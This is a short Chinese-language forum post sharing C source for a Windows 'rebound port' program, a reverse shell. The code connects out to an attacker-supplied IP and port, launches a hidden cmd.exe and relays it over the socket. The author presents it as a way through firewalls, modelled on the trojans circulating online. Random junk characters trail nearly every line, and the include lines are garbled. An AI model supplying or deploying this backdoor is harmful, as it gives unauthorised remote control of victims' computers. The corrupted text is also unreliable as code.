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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wv8WqYV  
7VdG6`TDR  
/* ============================== |-c)OS3#D  
Rebound port in Windows NT /~Q2SrYH  
By wind,2006/7 yI 6AafS~  
===============================*/ W c"f  
#include 'bpx  
#include gL+8fX2G6  
W:^\Oe5&a  
#pragma comment(lib,"wsock32.lib") %usy`4 2  
a0oM KGW:  
void OutputShell(); 'K=n}}&:  
SOCKET sClient; \)?[1b&[_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \?_eQKiZ3  
K 5SHt'P  
void main(int argc,char **argv) d&x1uso%L  
{ 5};Nv{km^2  
WSADATA stWsaData; )kSE5|:pi  
int nRet; b=!G3wVw<  
SOCKADDR_IN stSaiClient,stSaiServer; mV0.9pxS  
09{B6l6P  
if(argc != 3) g pN{1  
{ 0# D4;v  
printf("Useage:\n\rRebound DestIP DestPort\n"); "+2Hde1  
return; u[_~ !y  
} b NBpt}$  
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WSAStartup(MAKEWORD(2,2),&stWsaData); e?%Qv+)W  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $4\,a^  
]C =+  
stSaiClient.sin_family = AF_INET; &xlz80%  
stSaiClient.sin_port = htons(0); *OT6)]|k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); YH( 54R  
z (,%<oX  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VemgG)\  
{ fT-yY`  
printf("Bind Socket Failed!\n"); e5_:15%R\  
return; G9.+N~GZ.  
} D_%y&p?<Ls  
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stSaiServer.sin_family = AF_INET; g_\U-pzr  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6_a42#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hVe@:1og#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q]7Rqslz  
{ ]:B|_| H  
printf("Connect Error!"); jOppru5U  
return; H[ DrG6GA  
} T.vkGB=QZ%  
OutputShell(); 1'dL8Y  
} *7'}"@@  
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void OutputShell() ewYZ} "o  
{ T/#$44ub  
char szBuff[1024]; HF9d~7R  
SECURITY_ATTRIBUTES stSecurityAttributes; ;Zb+WGyj  
OSVERSIONINFO stOsversionInfo; IiG~l+V~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jrGVC2*rD  
STARTUPINFO stStartupInfo; )E<<  
char *szShell; 1>$ fLbmkI  
PROCESS_INFORMATION stProcessInformation; 6>! ;g'k  
unsigned long lBytesRead; ho#]i$b}f2  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;Jex#+H(:D  
V&x6ru#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2 w2JFdm  
stSecurityAttributes.lpSecurityDescriptor = 0; Dz4fP;n  
stSecurityAttributes.bInheritHandle = TRUE; ~ l~ai>/  
L3^WI( 8m  
DW ^E46k)A  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t =ErJ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LEoL6ga  
N`7) 88>w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FpjpsD~ Qu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; **L. !/  
stStartupInfo.wShowWindow = SW_HIDE; K~p\B  
stStartupInfo.hStdInput = hReadPipe; ENwDW#U9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ln#Jb&u  
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GetVersionEx(&stOsversionInfo); %UuV^C  
XOQj?Q7)U  
switch(stOsversionInfo.dwPlatformId) +~Ni7Dp]  
{ Hf( d x\5  
case 1: _Y '+E  
szShell = "command.com"; kK2x';21  
break; &u-H/C U%  
default: JHpaDy*  
szShell = "cmd.exe"; T!.6@g`x>  
break; -7:J#T/\  
} H tIl;E  
Fv \yhR  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w) o^?9T  
d(RSn|[0  
send(sClient,szMsg,77,0); u|l]8T9L  
while(1) kYwk'\s  
{ !ydJ{\;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); md_9bq/w  
if(lBytesRead) ]2kgG*^n"  
{ l][{ #>V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [U_S u,  
send(sClient,szBuff,lBytesRead,0); ViqcJD  
} .,t"i C:E  
else bq5tEn  
{ &DC o;Ij;  
lBytesRead=recv(sClient,szBuff,1024,0); Wb:jZ  
if(lBytesRead<=0) break; T&6W>VQ|[>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PYDf|S7  
} 'ojI_%9<  
} KD9Y  
~C6Qp`VF  
return; ]K'iCYY  
}
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